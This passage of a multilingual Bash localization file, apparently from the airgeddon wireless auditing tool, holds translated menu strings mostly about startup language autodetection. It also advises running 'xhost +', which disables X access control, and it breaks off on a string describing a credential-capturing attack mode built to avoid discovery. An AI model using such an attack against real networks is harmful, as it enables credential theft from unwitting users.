Enable startup language autodetection permanently" arr["SPANISH",467]="6. Habilitar permanentemente la autodetección de idioma al inicio" arr["FRENCH",467]="6. Activer de façon permanente la détection de langue au lancement" arr["CATALAN",467]="6. Habilitar permanentment l'autodetecció d'idioma a l'inici" arr["PORTUGUESE",467]="6. Ativar permanentemente a detecção do idioma no início" arr["RUSSIAN",467]="6. Автоматическое определение языка постоянно отключено" arr["GREEK",467]="6. Ενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",467]="6. Attivare permanentemente il rilevamento automatico della lingua all'inizio" arr["POLISH",467]="6. Trwale włącz automatyczne wykrywanie języka podczas uruchamiania" arr["GERMAN",467]="6. Automatische Spracherkennung beim Start dauerhaft aktivieren" arr["TURKISH",467]="6. Başlangıç dilini otomatik algılama özelliğini kalıcı olarak etkinleştir" arr["ARABIC",467]="6. قم بتفعيل الاكتشاف التلقائي للغة عند بدء التشغيل بشكل دائم" arr["CHINESE",467]="6. 永久启用脚本语言自动检测" arr["ENGLISH",468]="6. Disable startup language autodetection permanently" arr["SPANISH",468]="6. Deshabilitar permanentemente la autodetección de idioma al inicio" arr["FRENCH",468]="6. Désactiver de façon permanente la détection de langue au lancement" arr["CATALAN",468]="6. Deshabilitar permanentment l'autodetecció d'idioma a l'inici" arr["PORTUGUESE",468]="6. Desativar permanentemente a detecção do idioma no início" arr["RUSSIAN",468]="6. Постоянное отключение автоматического определения языка" arr["GREEK",468]="6. Απενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",468]="6. Disattivare permanentemente il rilevamento automatico della lingua all'inizio" arr["POLISH",468]="6. Trwale wyłącz autodetekcję języka podczas uruchamiania" arr["GERMAN",468]="6. Automatische Spracherkennung beim Start dauerhaft deaktivieren" arr["TURKISH",468]="6. Başlangıç dili otomatik algılamayı kalıcı olarak devre dışı bırak" arr["ARABIC",468]="6. تعطيل الاكتشاف التلقائي للغة عند بدء التشغيل بشكل دائم" arr["CHINESE",468]="6. 永久禁用脚本语言自动检测" arr["ENGLISH",469]="\${blue_color}Startup language autodetection will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",469]="\${blue_color}Se va a deshabilitar la autodetección de idioma al inicio. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",469]="\${blue_color}Désactivation détection langue au lancement. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",469]="\${blue_color}Es va a desactivar la detecció automàtica d'idioma a l'inici. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",469]="\${blue_color}A detecção automática do idioma será desativada. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",469]="\${blue_color}Автоопределение языка при запуске будет отключено. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",469]="\${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα απενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",469]="\${blue_color}Si sta per disattivare il rilevamento automatico della lingua all'inizio \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",469]="\${blue_color}Autodetekcja języka zostanie wyłączona podczas uruchamiania. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",469]="\${blue_color}Die automatische Spracherkennung am Anfang wird deaktiviert. \${green_color}Wollen Sie weitermachen? \${normal_color}\${visual_choice}" arr["TURKISH",469]="\${blue_color}Başlangıç dili otomatik algılama devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",469]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟ \${blue_color}.سيتم تعطيل الاكتشاف التلقائي للغة عند بدء التشغيل\${normal_color}" arr["CHINESE",469]="\${blue_color}脚本语言自动检测将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",470]="\${blue_color}Startup language autodetection will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",470]="\${blue_color}Se va a habilitar la autodetección de idioma al inicio. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",470]="\${blue_color}Activation détection langue au lancement. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",470]="\${blue_color}Es va a habilitar la detecció automàtica d'idioma a l'inici. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",470]="\${blue_color}A detecção automática do idioma será ativada. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",470]="\${blue_color} Автоопределение языка при запуске будет включено. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",470]="\${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",470]="\${blue_color}Si sta per attivare il rilevamento automatico della lingua all'inizio. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",470]="\${blue_color}Autodetekcja języka podczas uruchamiania zostanie włączona. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",470]="\${blue_color}Die automatische Spracherkennung wird zu Beginn aktiviert. \${green_color}Wollen Sie weitermachen? \${normal_color}\${visual_choice}" arr["TURKISH",470]="\${blue_color}Başlangıç dili otomatik algılama etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",470]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل الاكتشاف التلقائي للغة عند بدء التشغيل\${normal_color}" arr["CHINESE",470]="\${blue_color}脚本语言自动检测将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",471]="Any permanent change of language you have will be lost on the next start if you enable this option!!" arr["SPANISH",471]="Cualquier cambio permanente de idioma que tenga se perderá en el siguiente inicio si activa esta opción!!" arr["FRENCH",471]="Les configurations permanentes de langue seront perdues au prochain démarrage si vous choisssez cette option!!" arr["CATALAN",471]="Qualsevol canvi permanent d'idioma que tinguis es perdrà en el següent inici si actives aquesta opció!!" arr["PORTUGUESE",471]="Qualquer alteração no idioma será perdida no próximo início se você habilitar esta opção!!" arr["RUSSIAN",471]="При включении этой опции, сделанный выбор по изменению языка будет потерян при следующем запуске!!" arr["GREEK",471]="Οποιαδήποτε μόνιμη αλλαγή της γλώσσας θα χαθεί κατά την επόμενη εκκίνηση, αν ενεργοποιήσετε αυτή την επιλογή!!" arr["ITALIAN",471]="Qualsiasi cambio permanente di lingua si perderá nel prossimo inizio se si attiva questa opzione!!" arr["POLISH",471]="Każda trwała zmiana języka zostanie utracona podczas następnego startu, jeśli aktywujesz tę opcję!!" arr["GERMAN",471]="Jeder permanente Sprachwechsel, den Sie haben, wird beim nächsten Start verloren gehen, wenn Sie diese Option aktivieren!!" arr["TURKISH",471]="Bu seçeneği etkinleştirirseniz, bir sonraki başlangıçta herhangi bir kalıcı dil değişikliği kaybolur!!" arr["ARABIC",471]="!!سيتم فقدان أي تغيير دائم للغة لديك عند البداية الموالية إذا قمت بتفعيل هذا الخيار" arr["CHINESE",471]="如果启用此选项,您任何对语言的更改都将在下次启动时丢失!!" arr["ENGLISH",472]="Startup language autodetection has been enabled" arr["SPANISH",472]="Se ha activado la autodetección de idioma al inicio" arr["FRENCH",472]="Détection automatique du langage au démarrage activée" arr["CATALAN",472]="S'ha activat l'autodetecció d'idioma a l'inici" arr["PORTUGUESE",472]="A detecção automática do idioma foi ativa na inicialização" arr["RUSSIAN",472]="Автоматическое определение языка было включено" arr["GREEK",472]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει ενεργοποιηθεί" arr["ITALIAN",472]="Il rilevamento automatico della lingua all'inizio è attivato" arr["POLISH",472]="Autodetekcja języka podczas uruchamiania została aktywowana" arr["GERMAN",472]="Die automatische Spracherkennung am Start wurde aktiviert" arr["TURKISH",472]="Başlangıç dili otomatik algılama etkinleştirildi" arr["ARABIC",472]="تم تفعيل الاكتشاف التلقائي للغة عند بدء التشغيل" arr["CHINESE",472]="已启用脚本语言自动检测" arr["ENGLISH",473]="Startup language autodetection has been disabled" arr["SPANISH",473]="Se ha deshabilitado la autodetección de idioma al inicio" arr["FRENCH",473]="Détection automatique du langage au démarrage désactivée" arr["CATALAN",473]="S'ha desactivat l'autodetecció d'idioma a l'inici" arr["PORTUGUESE",473]="A detecção automática do idioma desativada na inicialização" arr["RUSSIAN",473]="Автоматическое определение языка было отключено" arr["GREEK",473]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει απενεργοποιηθεί" arr["ITALIAN",473]="È stato disattivato il rilevamento automatico della lingua all'inizio" arr["POLISH",473]="Autodetekcja języka podczas uruchamiania została wyłączona" arr["GERMAN",473]="Die automatische Spracherkennung am Start wurde deaktiviert" arr["TURKISH",473]="Başlangıç dili otomatik algılama devre dışı bırakıldı" arr["ARABIC",473]="تم تعطيل الاكتشاف التلقائي للغة عند بدء التشغيل" arr["CHINESE",473]="脚本语言自动检测已被禁用" arr["ENGLISH",474]="Startup language autodetection: \${pink_color}Enabled\${normal_color}" arr["SPANISH",474]="Autodetección de idioma al inicio: \${pink_color}Activada\${normal_color}" arr["FRENCH",474]="Détection automatique du langage au démarrage: \${pink_color}Activée\${normal_color}" arr["CATALAN",474]="Autodetecció d'idioma a l'inici: \${pink_color}Activade\${normal_color}" arr["PORTUGUESE",474]="Detecção automática do idioma: \${pink_color}ativa\${normal_color}" arr["RUSSIAN",474]="Автоопределение языка при запуске: \${pink_color}Включено\${normal_color}" arr["GREEK",474]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: \${pink_color}Ενεργοποιημένο\${normal_color}" arr["ITALIAN",474]="Rilevamento automatico della lingua all'inizio: \${pink_color}Attivato\${normal_color}" arr["POLISH",474]="Automatyczne wykrywanie języka podczas uruchamiania: \${pink_color}Aktywowane\${normal_color}" arr["GERMAN",474]="Automatische Spracherkennung am Start: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",474]="Başlangıç dili otomatik algılama: \${pink_color}Etkin\${normal_color}" arr["ARABIC",474]="\${pink_color}تفعيل\${blue_color} :الكشف التلقائي عن لغة عند بدء التشغيل\${normal_color}" arr["CHINESE",474]="脚本语言自动检测: \${pink_color}启用\${normal_color}" arr["ENGLISH",475]="Startup language autodetection: \${pink_color}Disabled\${normal_color}" arr["SPANISH",475]="Autodetección de idioma al inicio: \${pink_color}Desactivada\${normal_color}" arr["FRENCH",475]="Détection automatique du langage au démarrage: \${pink_color}Désactivée\${normal_color}" arr["CATALAN",475]="Autodetecció d'idioma a l'inici: \${pink_color}Desactivade\${normal_color}" arr["PORTUGUESE",475]="Detecção automática do idioma: \${pink_color}Desativa\${normal_color}" arr["RUSSIAN",475]="Автоопределение языка при запуске: \${pink_color}Отключено\${normal_color}" arr["GREEK",475]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: \${pink_color}Απενεργοποιημένο\${normal_color}" arr["ITALIAN",475]="Rilevamento automatico della lingua all'inizio: \${pink_color}Disattivato\${normal_color}" arr["POLISH",475]="Automatyczne wykrywanie języka podczas uruchamiania: \${pink_color}Niepełnosprawnych\${normal_color}" arr["GERMAN",475]="Automatische Spracherkennung am Start: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",475]="Başlangıç dili otomatik algılama: \${pink_color}DevreDışı\${normal_color}" arr["ARABIC",475]="\${pink_color}تعطيل\${blue_color} :الكشف التلقائي عن لغة عند بدء التشغيل\${normal_color}" arr["CHINESE",475]="脚本语言自动检测: \${pink_color}禁用\${normal_color}" arr["ENGLISH",476]="A graphical X windows system has been detected but airgeddon was unable to detect resolution. Try executing \"\${normal_color}xhost +\${red_color}\" command before launching airgeddon. If it does not work, probably your system is missing one of these two commands \"loginctl\", \"xdpyinfo\". Install the needed packages and then try again. For the first one, package name is systemd, for the second one there are some possibilities (it may vary depending on your Linux distribution). Some suggested package names are: x11-utils, xdpyinfo or xorg-xdpyinfo" arr["SPANISH",476]="Se detectó un sistema gráfico de ventanas X, pero airgeddon no pudo detectar la resolución. Intenta ejecutar el comando \"\${normal_color}xhost +\${red_color}\" antes de iniciar airgeddon. Si no funciona, probablemente a tu sistema le falta uno de estos dos comandos \"loginctl\", \"xdpyinfo\". Instala los paquetes necesarios y vuelve a intentarlo. Para el primero, el nombre del paquete es systemd, para el segundo hay varias posibilidades (puede variar dependiendo de la distribución de Linux). Algunos nombres de paquetes sugeridos son: x11-utils, xdpyinfo o xorg-xdpyinfo" arr["FRENCH",476]="Un système graphique X windows a été détecté mais airgeddon n'a pas pu détecter la résolution. Essayez d'exécuter la commande \"\${normal_color}xhost +\${red_color}\" avant de executer airgeddon. Si cela ne marche pas, probablement il manque à votre système l'une de ces deux commandes \"loginctl\", \"xdpyinfo\". Installez les packages nécessaires et réessayez. Pour le premier, le nom du package est systemd, pour le second il y a quelques possibilités (cela peut varier selon votre distribution de Linux). Certains noms de packages suggérés sont: x11-utils, xdpyinfo ou xorg-xdpyinfo" arr["CATALAN",476]="S'ha detectat un sistema gràfic X windows però airgeddon no ha pogut detectar la resolució. Proveu d'executar l'ordre \"\${normal_color}xhost +\${red_color}\" abans de llançar airgeddon. Si no funciona, probablement al vostre sistema li falta una d'aquestes dues ordres \"loginctl\", \"xdpyinfo\". Instal·leu els paquets necessaris i torneu-ho a provar. Per al primer, el nom del paquet és systemd, per al segon hi ha algunes possibilitats (pot variar segons la vostra distribució de Linux). Alguns noms de paquets suggerits són: x11-utils, xdpyinfo o xorg-xdpyinfo" arr["PORTUGUESE",476]="Um X Window System (ambiente gráfico) foi detectado, mas o airgeddon não conseguiu detectar a resolução. Tente executar o comando \"\${normal_color}xhost +\${red_color}\" antes de iniciar o airgeddon. Se não funcionar, provavelmente seu ambiente não tem um dos seguintes comandos: \"loginctl\" ou \"xdpyinfo\". Instale os pacotes necessários e tente novamente. Para o primeiro, o nome do pacote é systemd, para o segundo existem algumas possibilidades podendo variar dependendo da sua distribuição Linux. Alguns nomes sugeridos são: x11-utils, xdpyinfo ou xorg-xdpyinfo" arr["RUSSIAN",476]="airgeddon обнаружил графическую систему X11, но не смог определить разрешение. Попробуйте выполнить команду \"\${normal_color}xhost +\${red_color}\" перед запуском. Если это не помогло, возможно, в вашей системе отсутствует одна из этих двух программ \"loginctl\", \"xdpyinfo\". Установите необходимые пакеты и повторите попытку. Название первого пакета - systemd, название второго пакета варьируется в зависимости от дистрибутива Linux. Предположительные имена пакетов: x11-utils, xdpyinfo или xorg-xdpyinfo" arr["GREEK",476]="Εντοπίστηκε ένα γραφικό σύστημα Windows X, αλλά το airgeddon δεν μπόρεσε να ανιχνεύσει την ανάλυση. Δοκιμάστε να εκτελέσετε την εντολή \"\${normal_color}xhost +\${red_color}\" πριν ξεκινήσετε το airgeddon. Εάν δεν λειτουργεί, πιθανότατα από το σύστημά σας λείπει μία από αυτές τις δύο εντολές \"loginctl\", \"xdpyinfo\". Εγκαταστήστε τα απαραίτητα πακέτα και δοκιμάστε ξανά. Για το πρώτο, το όνομα πακέτου είναι systemd, για το δεύτερο υπάρχουν κάποιες δυνατότητες (μπορεί να διαφέρει ανάλογα με τη διανομή Linux σας). Μερικά προτεινόμενα ονόματα πακέτων είναι: x11-utils, xdpyinfo ή xorg-xdpyinfo" arr["ITALIAN",476]="È stato rilevato un sistema grafico X windows ma airgeddon non è stato in grado di rilevare la risoluzione. Prova a eseguire il comando \"\${normal_color}xhost +\${red_color}\" prima di avviare airgeddon. Se non funziona, probabilmente nel tuo sistema manca uno di questi due comandi \"loginctl\", \"xdpyinfo\". Installa i pacchetti necessari e riprova. Per il primo, il nome del pacchetto è systemd, per il secondo ci sono alcune possibilità (può variare a seconda della tua distribuzione Linux). Alcuni nomi di pacchetti suggeriti sono: x11-utils, xdpyinfo o xorg-xdpyinfo" arr["POLISH",476]="Graficzny system X Windows został wykryty, ale airgeddon nie był w stanie wykryć rozdzielczości. Spróbuj polecenie \"\${normal_color}xhost +\${red_color}\" przed uruchomieniem airgeddon. Jeśli nie działa, prawdopodobnie w systemie brakuje jednego z tych dwóch poleceń \"loginctl\", \"xdpyinfo\". Zainstaluj potrzebne pakiety, a następnie spróbuj ponownie. Dla pierwszego nazwa pakietu to systemd, dla drugiego jest kilka możliwości (może się różnić w zależności od dystrybucji Linuksa). Niektóre sugerowane nazwy pakietów to: x11-utils, xdpyinfo lub xorg-xdpyinfo" arr["GERMAN",476]="Ein grafisches X-Windows-System wurde erkannt, aber airgeddon konnte keine Auflösung erkennen. Versuchen Sie, den Befehl \"\${normal_color}xhost +\${red_color}\" auszuführen, bevor Sie airgeddon starten. Wenn es nicht funktioniert, fehlt Ihrem System wahrscheinlich einer dieser beiden Befehle \"loginctl\", \"xdpyinfo\". Installieren Sie die erforderlichen Pakete und versuchen Sie es erneut. Für den ersten ist der Paketname systemd, für den zweiten gibt es einige Möglichkeiten (dies kann je nach Linux-Distribution variieren). Einige vorgeschlagene Paketnamen sind: x11-utils, xdpyinfo oder xorg-xdpyinfo" arr["TURKISH",476]="Grafiksel bir X windows sistemi algılandı, ancak airgeddon çözünürlüğü algılayamadı. airgeddon'u başlatmadan önce \"\${normal_color}xhost +\${red_color}\" komutunu çalıştırmayı deneyin. Çalışmıyorsa, muhtemelen sisteminizde bu iki komuttan biri eksiktir \"loginctl\", \"xdpyinfo\". Gerekli paketleri kurun ve tekrar deneyin. İlki için paket adı systemd, ikincisi için bazı olasılıklar var (Linux dağıtımınıza bağlı olarak değişebilir). Önerilen bazı paket adları şunlardır: x11-utils, xdpyinfo veya xorg-xdpyinfo" arr["ARABIC",476]="x11-utils, xdpyinfo , xorg-xdpyinfo :الخاصه بك. بعض الاسماء المقترحه هي linuxلكن الرابت الثانب قد يكون له اسماء مختلفه و هذا يعتمد علي نسخت ال , systemd الامرين. قم بتحميلهما ثم حاول مرة اخري.اسم اول رابط هو \"loginctl\", \"xdpyinfo\" اذا لم تعمل , قد يكون جهازك يفقد احدي هذين .airgeddon قبل تشغيل \"\${normal_color}xhost +\${red_color}\" لم يستطع تحديد دقة تفاصيل صورة. حول تنفيذ الامر airgeddon لكن X تم اكتشاف نظام الجرافيكس" arr["CHINESE",476]="已检测到 X 图形窗口管理器,但 airgeddon 无法检测到分辨率。在启动 airgeddon 之前尝试执行 \"\${normal_color}xhost +\${red_color}\" 命令。如果它不起作用,可能是您的系统缺少这两个命令 \"loginctl\"、\"xdpyinfo\" 之一。安装所需的软件包,然后重试。对于第一个软件包的名称是 systemd,对于第二个软件包 (它可能因您的 Linux 发行版而异) 一些可能的名称是: x11-utils、xdpyinfo 或 xorg-xdpyinfo" arr["ENGLISH",477]="The options in this menu containing the word \"permanently\" modify airgeddon to save the settings for the next time that is to be launched. However, you can always return to this menu to change the value of the option again" arr["SPANISH",477]="Las opciones de este menú que contienen la palabra \"permanentemente\", modifican airgeddon para que incluso la siguiente vez que sea iniciado siga guardando la configuración. No obstante, siempre puedes volver a este menú a cambiar de nuevo el valor de la opción" arr["FRENCH",477]="Les options contenant le mot \"permanente\" modifiént airgeddon de sorte que les paramétrages persisteront lors des prochains redémarrages. Vous pourrez cependant toujours modifier la configuration permanante depuis ce même menu" arr["CATALAN",477]="Les opcions d'aquest menú que contenen la paraula \"permanentment\", modifiquen airgeddon perquè fins i tot la següent vegada que sigui iniciat segueixi guardant la configuració. No obstant això, sempre pots tornar a aquest menú a canviar de nou el valor de l'opció" arr["PORTUGUESE",477]="As opções neste menu contendo a palavra \"permanentemente\" serão modificadas de modo que mesmo no próximo início do airgeddon as configurações serão mantidas. No entanto, você pode sempre voltar a este menu e alterar as opções" arr["RUSSIAN",477]="Опции в этом меню, содержащие слово \"постоянное\", сохраняются в airgeddon при перезапусках программы. Однако вы всегда можете вернуться в это меню, чтобы снова изменить значение параметра" arr["GREEK",477]="Οι επιλογές σε αυτό το μενού που περιέχουν τη λέξη \"μόνιμα\" τροποποιούν το airgeddon ώστε να αποθηκεύει τις ρυθμίσεις για την επόμενη φορά. Ωστόσο, μπορείτε πάντα να επιστρέψετε σε αυτό το μενού για να αλλάξετε ξανά την τιμή της επιλογής" arr["ITALIAN",477]="Le opzioni di questo menú che contengono la parola \"permanentemente\" modificano airgeddon in modo che anche la volta successiva che viene avviato continui con la configurazione salvata. Tuttavia, si può sempre tornare a questo menú per cambiare di nuovo il valore dell'opzione" arr["POLISH",477]="Opcje w tym menu, które zawierają słowo \"trwale\" zmodyfikują airgeddon tak, że nawet przy następnym uruchomieniu będą zapisane. Jednak zawsze możesz wrócić do tego menu, aby ponownie zmienić ustawienia" arr["GERMAN",477]="Die Optionen dieses Menüs, die das Wort \"dauerhaft\" enthalten, modifizieren airgeddon so, dass auch beim nächsten Start die Konfiguration gespeichert wird. Sie können jedoch jederzeit zu diesem Menü zurückkehren, um den Wert der Option erneut zu ändern" arr["TURKISH",477]="Bu menüdeki \"kalıcı\" kelimesini içeren seçenekler, başlatılacak bir sonraki seferde ayarları kaydetmek için airgeddon'u değiştirir. Ancak, seçeneğin değerini tekrar değiştirmek için bu menüye her zaman dönebilirsiniz" arr["ARABIC",477]="لحفظ الإعدادات في المرة القادمة التي سيتم إطلاقها. ومع ذلك ، يمكنك دائمًا العودة إلى هذه القائمة لتغيير قيمة الخيار مرة أخرى airgeddon تعدل \"permanently\" الخيارات في هذه القائمة التي تحتوي على كلمة" arr["CHINESE",477]="此菜单中包含单词“永久*”的选项修改,airgeddon 会保存设置以供下次启动时使用。但您始终可以返回此菜单以再次更改这些选项的值" arr["ENGLISH",478]="\${blue_color}Language is going to be set permanently to the current one, so on the next start of airgeddon it will be used directly. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",478]="\${blue_color}Se va a cambiar permanentemente el idioma al actual para que al siguiente inicio de airgeddon este sea el idioma en el que arranque directamente. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",478]="\${blue_color}La langue actuelle va être activée de façon permanente, c'est à dire que ce sera la langue d'usage lors des prochains démarrages d'airgeddon. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",478]="\${blue_color}Es canviarà permanentment l'idioma a l'actual perquè al següent inici d' airgeddon aquest sigui l'idioma en què arrenqui directament. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",478]="\${blue_color}O idioma será definida permanentemente para o atual, no próximo início do airgeddon este será o idioma usado. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",478]="\${blue_color}Текущий язык будет установлен как постоянный, поэтому при следующем запуске airgeddon он будет использоваться без определения языка системы. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",478]="\${blue_color}Η τρέχουσα γλώσσα πρόκειται να τεθεί μόνιμα ως προεπιλεγμένη, ώστε κατά την επόμενη εκκίνηση του airgeddon θα χρησιμοποιηθεί κατ' ευθείαν αυτή. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",478]="\${blue_color}Sarà modificata in modo permanente la lingua corrente in modo che al prossimo avvio di airgeddon questa sia la lingua di avvio. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",478]="\${blue_color}To na stałe zmieni język na aktualny, tak aby był ustawiony przy następnym uruchomieniu airgeddon. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",478]="\${blue_color}Die aktuelle Sprache wird permanent geändert, so dass der nächste Start von airgeddon in diese Sprache direkt startet. \${green_color}Möchten Sie weitermachen? \${normal_color}\${visual_choice}" arr["TURKISH",478]="Dil, geçici olarak şu anki olarak ayarlanacaktır, böylece bir sonraki airgeddon başlatmada doğrudan kullanılacaktır. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",478]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم استخدامها مباشرة airgeddon سيتم تعيين اللغة بشكل دائم على اللغة الحالية ، لذلك عند البداية الموالية لـ\${normal_color}" arr["CHINESE",478]="\${blue_color}语言将永久设置为当前语言,因此在下次启动 airgeddon 时将直接使用它。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",479]="This change conflicts with the startup language autodetection which is currently enabled. It will be disabled automatically in order to perform the change" arr["SPANISH",479]="Este cambio entra en conflicto con la autodetección del idioma al inicio que en este momento está activada. Se desactivará automáticamente para poder realizar el cambio" arr["FRENCH",479]="Ce changement entre en conflit avec la détection automatique de la langue au démarrage qui est actuellement activée. Elle va être automatiquement désactivée pour effectuer le changement" arr["CATALAN",479]="Aquest canvi entra en conflicte amb la detecció automàtica de l'idioma a l'inici que en aquest moment està activada. Es desactivarà automàticament per a poder realitzar el canvi" arr["PORTUGUESE",479]="Esta mudança entra em conflito com a detecção automática do idioma, ativa atualmente. Ela será desativa automaticamente ao fazer essa mudança" arr["RUSSIAN",479]="Это изменение конфликтует с автоопределением языка, которое в данный момент включено. Оно будет автоматически отключено для выполнения изменения" arr["GREEK",479]="Αυτή η αλλαγή έρχεται σε σύγκρουση με τoν αυτόματo εντοπισμό της γλώσσας εκκίνησης, ο οποίος είναι αυτή τη στιγμή ενεργοποιημένος. Θα απενεργοποιηθεί αυτόματα για να πραγματοποιηθεί η αλλαγή αυτή" arr["ITALIAN",479]="Questo cambio è in conflitto con il rilevamento automatico di lingua di inizio che è attualmente attivo. Esso viene disattivato automaticamente per poter fare il cambio" arr["POLISH",479]="Ta zmiana jest sprzeczna z automatyczną detekcją języka na początku, która jest aktualnie aktywna. Zostanie ona automatycznie deazktywowana w celu wprowadzenia zmian" arr["GERMAN",479]="Diese Änderung steht im Konflikt mit der automatischen Spracherkennung, die zu diesem Zeitpunkt am Anfang aktiviert ist. Es wird automatisch deaktiviert, um die Änderung vorzunehmen" arr["TURKISH",479]="Bu değişiklik, şu anda etkin olan başlangıç dili otomatik algılama ile çakışıyor. Değişikliği gerçekleştirmek için otomatik olarak devre dışı bırakılacaktır" arr["ARABIC",479]="يتعارض هذا التغيير مع الاكتشاف التلقائي للغة عند بدء التشغيل والذي تم تفعيله حاليًا. سيتم تعطيله تلقائيًا لإجراء التغيير" arr["CHINESE",479]="此更改与当前已启用的脚本语言自动检测冲突。它将自动禁用以执行更改" arr["ENGLISH",480]="Current language is the same of permanent language already set. No changes will be done" arr["SPANISH",480]="El idioma actual es el mismo que ya está puesto como permanente. No se realizarán cambios" arr["FRENCH",480]="La langue actuelle est la même que celle désignée comme langue permanente. Pas de changements" arr["CATALAN",480]="L'idioma actual és el mateix que ja està posat com permanent. No es realitzaran canvis" arr["PORTUGUESE",480]="O idioma atual já é o permanente. Nenhuma alteração será feita" arr["RUSSIAN",480]="Текущий язык тот же, что и уже установленный постоянный язык. Никаких изменений не будет сделано" arr["GREEK",480]="Η τρέχουσα γλώσσα είναι ίδια με τη μόνιμη γλώσσα που έχει οριστεί ήδη. Δεν θα γίνει καμία αλλαγή" arr["ITALIAN",480]="La lingua è la stessa che è giá impostata come permanente. Nessuna modifica sará effettuata" arr["POLISH",480]="Obecny język jest taki sam jak ten, który został już ustawiony jako stały. Nie zostaną wprowadzone żadne zmiany" arr["GERMAN",480]="Die aktuelle Sprache ist dieselbe, die bereits als permanent festgelegt wurde. Es werden keine Änderungen vorgenommen" arr["TURKISH",480]="Mevcut dil, zaten ayarlanmış olan kalıcı dil ile aynı. Hiçbir değişiklik yapılmayacak" arr["ARABIC",480]="اللغة الحالية هي نفس اللغة الدائمة التي تم تعيينها بالفعل. لن يتم إجراء أي تغييرات" arr["CHINESE",480]="当前语言与已设置的永久语言相同。不会做任何改变" arr["ENGLISH",481]="Language set to the current one permanently" arr["SPANISH",481]="Idioma cambiado al actual permanentemente" arr["FRENCH",481]="La langue choisie est l'actuelle langue permanente" arr["CATALAN",481]="Idioma canviat a l'actual permanentment" arr["PORTUGUESE",481]="Idioma definido permanentemente para o atual" arr["RUSSIAN",481]="Язык изменён на текущий с сохранением после перезапуска" arr["GREEK",481]="Τέθηκε μόνιμα η τρέχουσα γλώσσα" arr["ITALIAN",481]="Lingua cambiata a quella attuale permanentemente" arr["POLISH",481]="Język trwale zmienił się na aktualny" arr["GERMAN",481]="Die Sprache wurde permanent geändert" arr["TURKISH",481]="Geçerli dil kalıcı olarak ayarlandı" arr["ARABIC",481]="يتم تعيين اللغة على اللغة الحالية بشكل دائم" arr["CHINESE",481]="语言永久设置为当前语言" arr["ENGLISH",482]="8. Italian" arr["SPANISH",482]="8. Italiano" arr["FRENCH",482]="8. Italien" arr["CATALAN",482]="8. Italià" arr["PORTUGUESE",482]="8. Italiano" arr["RUSSIAN",482]="8. Итальянский" arr["GREEK",482]="8. Ιταλικά" arr["ITALIAN",482]="8. Italiano" arr["POLISH",482]="8. Włoski" arr["GERMAN",482]="8. Italienisch" arr["TURKISH",482]="8. İtalyanca" arr["ARABIC",482]="8. الايطالية" arr["CHINESE",482]="8. 意大利语" arr["ENGLISH",483]="The attack in \"smooth\" mode will be dismantled as soon as a credential is captured to let clients reconnect again to the legitimate network. This reduces the possibility of being discovered, looking for some users as a punctual wireless network malfunction" arr["SPANISH",483]="El ataque en modo \"smooth\" tan pronto capture unas credenciales se desmantelará para dejar que los clientes vuelvan a conectarse a la red legítima. Esto reduce las posibilidades de ser 